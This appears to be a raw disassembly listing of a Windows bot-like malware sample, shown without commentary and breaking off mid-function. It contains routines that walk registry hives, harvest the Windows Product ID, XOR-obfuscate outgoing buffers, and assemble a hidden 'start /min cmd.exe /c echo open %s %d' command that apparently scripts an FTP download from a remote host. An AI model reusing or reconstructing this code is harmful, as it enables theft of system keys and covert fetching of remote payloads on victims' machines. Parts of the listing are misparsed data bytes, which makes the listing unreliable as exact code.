		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_43581C:				; CODE XREF: sub_4356F0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28F0000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435904
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BBF+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435904:				; CODE XREF: sub_4356F0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 28F0000h
		nop
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_4359EC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_446BB4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_4359EC:				; CODE XREF: sub_4356F0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 28F0000h
		nop
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435AD4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435AD4:				; CODE XREF: sub_4356F0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28F0000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017E4
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_435BBD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435BBD:				; CODE XREF: sub_4356F0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_435C61
; ---------------------------------------------------------------------------


loc_435BC7:				; CODE XREF: sub_4356F0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435C67
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 292021Eh
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 28D0000h
		test	eax, eax
		jnz	short loc_435C5C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435C5C:				; CODE XREF: sub_4356F0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_435C61:				; CODE XREF: sub_4356F0+4D2j
		nop
		call	near ptr 28F0000h


loc_435C67:				; CODE XREF: sub_4356F0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4356F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435E00	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_435E1D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_435E13:				; CODE XREF: sub_435E00+1Bj
		cmp	[eax+edx], cl
		jz	short loc_435E21
		inc	eax
		cmp	eax, esi
		jl	short loc_435E13


loc_435E1D:				; CODE XREF: sub_435E00+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_435E21:				; CODE XREF: sub_435E00+16j
		pop	esi
		mov	al, 1
		retn
sub_435E00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435E40:				; CODE XREF: ___:00401429j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		call	near ptr 71AB2B66h
		nop
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_435EFC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_435EFC:				; CODE XREF: ___:00435EF3j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_435F3E:				; CODE XREF: ___:00435FB7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_435FB9


loc_435F7E:				; CODE XREF: ___:00435F4Cj
					; ___:00435F5Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_435FB0


loc_435FA3:				; CODE XREF: ___:00435FAEj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_435FA3


loc_435FB0:				; CODE XREF: ___:00435FA1j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_435F3E
; ---------------------------------------------------------------------------


loc_435FB9:				; CODE XREF: ___:00435F7Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4360A0:				; CODE XREF: ___:00401D61j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436152
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436152:				; CODE XREF: ___:00436149j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436194:				; CODE XREF: ___:0043620Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43620F


loc_4361D4:				; CODE XREF: ___:004361A2j
					; ___:004361B2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436206


loc_4361F9:				; CODE XREF: ___:00436204j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4361F9


loc_436206:				; CODE XREF: ___:004361F7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_436194
; ---------------------------------------------------------------------------


loc_43620F:				; CODE XREF: ___:004361D2j
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436300:				; CODE XREF: ___:00401FE1j
		mov	eax, 200Ch
		call	sub_436840
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5EFFD5
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436402
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436402:				; CODE XREF: ___:004363F9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436444:				; CODE XREF: ___:004364BDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4364BF


loc_436484:				; CODE XREF: ___:00436452j
					; ___:00436462j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4364B6


loc_4364A9:				; CODE XREF: ___:004364B4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4364A9


loc_4364B6:				; CODE XREF: ___:004364A7j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_436444
; ---------------------------------------------------------------------------


loc_4364BF:				; CODE XREF: ___:00436482j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4365C0:				; CODE XREF: ___:00401910j
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43663D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43663D:				; CODE XREF: ___:00436634j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43667F:				; CODE XREF: ___:004366F8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4366FA


loc_4366BF:				; CODE XREF: ___:0043668Dj
					; ___:0043669Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4366F1


loc_4366E4:				; CODE XREF: ___:004366EFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4366E4


loc_4366F1:				; CODE XREF: ___:004366E2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43667F
; ---------------------------------------------------------------------------


loc_4366FA:				; CODE XREF: ___:004366BDj
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4367C8	proc near		; CODE XREF: SEH_4034E0+5j
					; SEH_4036D0+5j ...
		jmp	near ptr 77C227FAh
sub_4367C8	endp

; ---------------------------------------------------------------------------
		db 0E8h, 2 dup(0CCh)
byte_4367D0	db 90h			; DATA XREF: ___:off_43E004o
					; ___:0043E018o ...
		db 0E9h, 37h, 0F7h
		dd 0E990777Fh, 777E573Ch, 2BE5E990h
; ---------------------------------------------------------------------------
		jg	short loc_436859

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367E2	proc near		; CODE XREF: ___:00406BE0p
					; sub_406C00+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_4367E2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0A2h, 12h
		dd 0E9907781h, 7781146Ch, 14EBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367FA	proc near		; CODE XREF: sub_406C30+47p
					; ___:00406CCAp ...
		nop
		jmp	near ptr 77C29CC5h
sub_4367FA	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E1h, 0ACh
; ---------------------------------------------------------------------------
		jle	short loc_43687D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E1D4
		retn	4
; ---------------------------------------------------------------------------


loc_436811:				; DATA XREF: ___:off_43E1D4o
		push	esi
		mov	esi, ecx
		call	sub_436BCC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_436827
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx


loc_436827:				; CODE XREF: ___:0043681Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436832	proc near		; CODE XREF: sub_409580+4Dp
					; ___:0040A99Dp
		jmp	near ptr 77C226F6h
sub_436832	endp

; ---------------------------------------------------------------------------
		db 0DEh
		db 90h
		db 0E9h, 4Ch, 97h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_436840	proc near		; CODE XREF: sub_40A030+5p
					; sub_40FF60+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_436860


loc_43684C:				; CODE XREF: sub_436840+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax


loc_436859:				; CODE XREF: ___:004367E0j
